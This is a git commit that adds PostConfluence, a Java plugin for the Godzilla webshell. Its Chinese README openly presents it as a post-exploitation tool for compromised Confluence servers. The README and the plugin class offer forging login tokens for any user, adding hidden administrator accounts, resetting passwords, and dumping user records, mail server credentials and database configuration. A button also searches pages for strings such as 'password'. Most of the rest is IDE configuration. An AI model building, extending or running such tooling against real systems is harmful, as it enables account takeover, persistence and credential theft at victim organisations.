upload code

This commit is contained in:
beichendream
2022-06-15 02:13:53 +08:00
parent da330e3eda
commit 8d9e068069
18 changed files with 526 additions and 1 deletions
+8
View File
@@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml
+8
View File
@@ -0,0 +1,8 @@
<component name="ArtifactManager">
<artifact type="jar" name="PostConfluence:jar">
<output-path>$PROJECT_DIR$/out/artifacts/PostConfluence_jar</output-path>
<root id="archive" name="PostConfluence.jar">
<element id="module-output" name="PostConfluence" />
</root>
</artifact>
</component>
+5
View File
@@ -0,0 +1,5 @@
<component name="ProjectCodeStyleConfiguration">
<code_scheme name="Project" version="173">
<option name="AUTODETECT_INDENTS" value="false" />
</code_scheme>
</component>
+5
View File
@@ -0,0 +1,5 @@
<component name="ProjectCodeStyleConfiguration">
<state>
<option name="PREFERRED_PROJECT_CODE_STYLE" value="Default" />
</state>
</component>
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="PROJECT" charset="UTF-8" />
</component>
</project>
+9
View File
@@ -0,0 +1,9 @@
<component name="libraryTable">
<library name="godzilla">
<CLASSES>
<root url="jar://$PROJECT_DIR$/libs/godzilla.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</component>
+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ASMPluginConfiguration">
<asm skipDebug="false" skipFrames="false" skipCode="false" expandFrames="false" />
<groovy codeStyle="LEGACY" />
</component>
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="1.8" project-jdk-type="JavaSDK">
<output url="file://$PROJECT_DIR$/out" />
</component>
</project>
+8
View File
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/PostConfluence.iml" filepath="$PROJECT_DIR$/PostConfluence.iml" />
</modules>
</component>
</project>
+130
View File
@@ -0,0 +1,130 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Palette2">
<group name="Swing">
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
</item>
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
</item>
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true">
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
</item>
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
<initial-values>
<property name="text" value="Button" />
</initial-values>
</item>
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="RadioButton" />
</initial-values>
</item>
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="CheckBox" />
</initial-values>
</item>
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
<initial-values>
<property name="text" value="Label" />
</initial-values>
</item>
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
</item>
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
</item>
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
<preferred-size width="-1" height="20" />
</default-constraints>
</item>
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
</item>
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
</item>
<item class="core.ui.component.RTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="true" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="0" />
</item>
<item class="org.fife.ui.rtextarea.RTextScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="true" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="0" />
</item>
</group>
</component>
</project>
+13
View File
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="godzilla" level="project" />
<orderEntry type="library" name="godzilla" level="project" />
</component>
</module>
+36 -1
View File
@@ -1,6 +1,41 @@
# PostConfluence
哥斯拉Confluence后渗透插件 MakeToken SearchPage ListAllUser AddAdminUser ListAllPage ........
## 功能简介
当你在Confluence拥有一个哥斯拉webshell之后,你就可以使用哥斯拉的Confluence后渗透插件
1. MakeToken
1. 不需要密码登录任意用户 使用场景:sso/目标有严格的认证机制
2. AddAdminUser
1. 添加一个可登录管理员用户
3. UpdatePassword
1. 修改任意用户的密码
4. EnumAllUser
1. 枚举所有的用户 包括用户名,用户密码,用户手机号,用户IM账号,用户所在地址,用户所在部门,用户主页,用户当前登录失败次数,用户总登录失败次数,用户上次登录失败时间,用户上次登录成功时间,用户所在域,用户是否存活,用户所在组
5. EnumMailServers
1. 枚举所有的邮箱配置 包括邮箱地址,邮箱账号,邮箱密码,socks代理地址
6. EnumAllSpace
1. 枚举该Confluence所有的空间 包括该空间存在哪些文章,文章附件、文章评论数量、文章访问URL、附件下载URL、文件创建人、文章修改人、文章创建时间、文章修改时间等
7. EnumHibernateConfig
1. 枚举Confluence的数据库配置信息
8. SearchPage
1. 在所有的文章搜索指定关键字
## 部分功能演示
### MakeToken
![](images/makeToken.png)
### EnumHibernateConfig
![](images/enumHibernateConfig.png)
### EnumAllUser
![](images/enumAllUser.png)
### searchPage
![](images/searchPage.png)
Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

@@ -0,0 +1,92 @@
<?xml version="1.0" encoding="UTF-8"?>
<form xmlns="http://www.intellij.com/uidesigner/form/" version="1" bind-to-class="shells.plugins.postconfluence.PostConfluencePlugin">
<grid id="27dc6" binding="corePanel" layout-manager="GridLayoutManager" row-count="2" column-count="8" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<xy x="20" y="20" width="1051" height="400"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<scrollpane id="ac4c2" class="org.fife.ui.rtextarea.RTextScrollPane" binding="resultTextScrollPane">
<constraints>
<grid row="1" column="0" row-span="1" col-span="8" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<lineNumbersEnabled value="true"/>
</properties>
<border type="none"/>
<children>
<component id="ab0c0" class="core.ui.component.RTextArea" binding="resultTextArea">
<constraints/>
<properties/>
</component>
</children>
</scrollpane>
<component id="2ded0" class="javax.swing.JButton" binding="makeTokenButton" default-binding="true">
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="MakeToken"/>
</properties>
</component>
<component id="f9e1a" class="javax.swing.JButton" binding="addAdminUserButton" default-binding="true">
<constraints>
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="AddAdminUser"/>
</properties>
</component>
<component id="1bd1" class="javax.swing.JButton" binding="updatePasswordButton" default-binding="true">
<constraints>
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="UpdatePassword"/>
</properties>
</component>
<component id="2961d" class="javax.swing.JButton" binding="enumAllUserButton" default-binding="true">
<constraints>
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="EnumAllUser"/>
</properties>
</component>
<component id="e0fd" class="javax.swing.JButton" binding="enumMailServersButton">
<constraints>
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="EnumMailServers"/>
</properties>
</component>
<component id="cd3ce" class="javax.swing.JButton" binding="enumAllSpaceButton" default-binding="true">
<constraints>
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="EnumAllSpace"/>
</properties>
</component>
<component id="aa72a" class="javax.swing.JButton" binding="enumHibernateConfigButton" default-binding="true">
<constraints>
<grid row="0" column="6" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="EnumHibernateConfig"/>
</properties>
</component>
<component id="2f85c" class="javax.swing.JButton" binding="searchPageButton" default-binding="true">
<constraints>
<grid row="0" column="7" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="SearchPage"/>
</properties>
</component>
</children>
</grid>
</form>
@@ -0,0 +1,196 @@
package shells.plugins.postconfluence;
import com.formdev.flatlaf.util.StringUtils;
import core.Encoding;
import core.annotation.PluginAnnotation;
import core.imp.Payload;
import core.imp.Plugin;
import core.shell.ShellEntity;
import core.ui.component.RTextArea;
import core.ui.component.dialog.GOptionPane;
import org.fife.ui.rtextarea.RTextScrollPane;
import util.UiFunction;
import util.automaticBindClick;
import util.functions;
import util.http.ReqParameter;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.util.Objects;
@PluginAnnotation(payloadName = "JavaDynamicPayload",Name = "PostConfluence",DisplayName = "PostConfluence")
public class PostConfluencePlugin implements Plugin {
private JButton makeTokenButton;
private JButton addAdminUserButton;
private JButton updatePasswordButton;
private JButton enumAllUserButton;
private JButton enumMailServersButton;
private JButton enumAllSpaceButton;
private JButton enumHibernateConfigButton;
private JButton searchPageButton;
private RTextArea resultTextArea;
private RTextScrollPane resultTextScrollPane;
private ShellEntity shellEntity;
private Payload payload;
private boolean loaded = false;
private static final String CLASS_NAME = "PostConfluenceProxy";
private Encoding encoding;
private JPanel corePanel;
@Override
public void init(ShellEntity shellEntity) {
this.shellEntity = shellEntity;
this.payload = shellEntity.getPayloadModule();
this.encoding = shellEntity.getEncodingModule();
automaticBindClick.bindJButtonClick(this,this);
}
private boolean load(){
if (!loaded){
loaded = payload.include(CLASS_NAME, functions.readInputStreamAutoClose(Objects.requireNonNull(PostConfluencePlugin.class.getResourceAsStream("PostConfluenceProxy.classs"))));
}
return loaded;
}
private void makeTokenButtonClick(ActionEvent actionEvent) {
if (load()){
String userName = GOptionPane.showInputDialog("target UserName","admin");
if (!StringUtils.isEmpty(userName)){
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("username",encoding.Encoding(userName));
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"addRememberMeToken",reqParameter)));
}
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void addAdminUserButtonClick(ActionEvent actionEvent) {
if (load()){
JLabel userNameLabel = new JLabel("username:");
JLabel passwordLabel = new JLabel("password:");
JLabel emailLabel = new JLabel("email:");
JTextField usernameTextField= new JTextField("john");
JTextField passwordTextField = new JTextField("Password123!");
JTextField emailTextField = new JTextField("john@example.com");
JPanel propertyPanel = new JPanel();
propertyPanel.setLayout(new GridLayout(3,2,5,5));
propertyPanel.add(userNameLabel);
propertyPanel.add(usernameTextField);
propertyPanel.add(passwordLabel);
propertyPanel.add(passwordTextField);
propertyPanel.add(emailLabel);
propertyPanel.add(emailTextField);
int option = GOptionPane.showConfirmDialog( UiFunction.getParentWindow(corePanel),propertyPanel, "Input Property", GOptionPane.OK_CANCEL_OPTION);
if (option == GOptionPane.CANCEL_OPTION){
GOptionPane.showMessageDialog(UiFunction.getParentWindow(corePanel),"取消操作");
return;
}
String userName = usernameTextField.getText();
String password = passwordTextField.getText();
String email = emailTextField.getText();
if (!StringUtils.isEmpty(userName) && !StringUtils.isEmpty(password) && !StringUtils.isEmpty(email)){
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("username",encoding.Encoding(userName));
reqParameter.add("password",encoding.Encoding(password));
reqParameter.add("email",encoding.Encoding(email));
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"addAdminUser",reqParameter)));
}
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void updatePasswordButtonClick(ActionEvent actionEvent) {
if (load()){
JLabel userNameLabel = new JLabel("username:");
JLabel passwordLabel = new JLabel("password:");
JTextField usernameTextField= new JTextField("john");
JTextField passwordTextField = new JTextField("Password123!");
JPanel propertyPanel = new JPanel();
propertyPanel.setLayout(new GridLayout(2,2,5,5));
propertyPanel.add(userNameLabel);
propertyPanel.add(usernameTextField);
propertyPanel.add(passwordLabel);
propertyPanel.add(passwordTextField);
int option = GOptionPane.showConfirmDialog( UiFunction.getParentWindow(corePanel),propertyPanel, "Input Property", GOptionPane.OK_CANCEL_OPTION);
if (option == GOptionPane.CANCEL_OPTION){
GOptionPane.showMessageDialog(UiFunction.getParentWindow(corePanel),"取消操作");
return;
}
String userName = usernameTextField.getText();
String password = passwordTextField.getText();
if (!StringUtils.isEmpty(userName) && !StringUtils.isEmpty(password)){
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("username",encoding.Encoding(userName));
reqParameter.add("password",encoding.Encoding(password));
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"updateUserPassword",reqParameter)));
}
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void enumAllUserButtonClick(ActionEvent actionEvent) {
if (load()){
ReqParameter reqParameter = new ReqParameter();
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"getUserInfos",reqParameter)));
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void enumMailServersButtonClick(ActionEvent actionEvent) {
if (load()){
ReqParameter reqParameter = new ReqParameter();
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"getMailServers",reqParameter)));
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void enumAllSpaceButtonClick(ActionEvent actionEvent) {
if (load()){
ReqParameter reqParameter = new ReqParameter();
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"getAllSpace",reqParameter)));
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void enumHibernateConfigButtonClick(ActionEvent actionEvent) {
if (load()){
ReqParameter reqParameter = new ReqParameter();
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"getHibernateConfig",reqParameter)));
}else {
resultTextArea.setText("plugin not loaded");
}
}
private void searchPageButtonClick(ActionEvent actionEvent) {
if (load()){
String condition = GOptionPane.showInputDialog("condition","password");
if (!StringUtils.isEmpty(condition)){
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("condition",encoding.Encoding(condition));
resultTextArea.setText(encoding.Decoding(payload.evalFunc(CLASS_NAME,"searchPage",reqParameter)));
}
}else {
resultTextArea.setText("plugin not loaded");
}
}
@Override
public JPanel getView() {
return corePanel;
}
}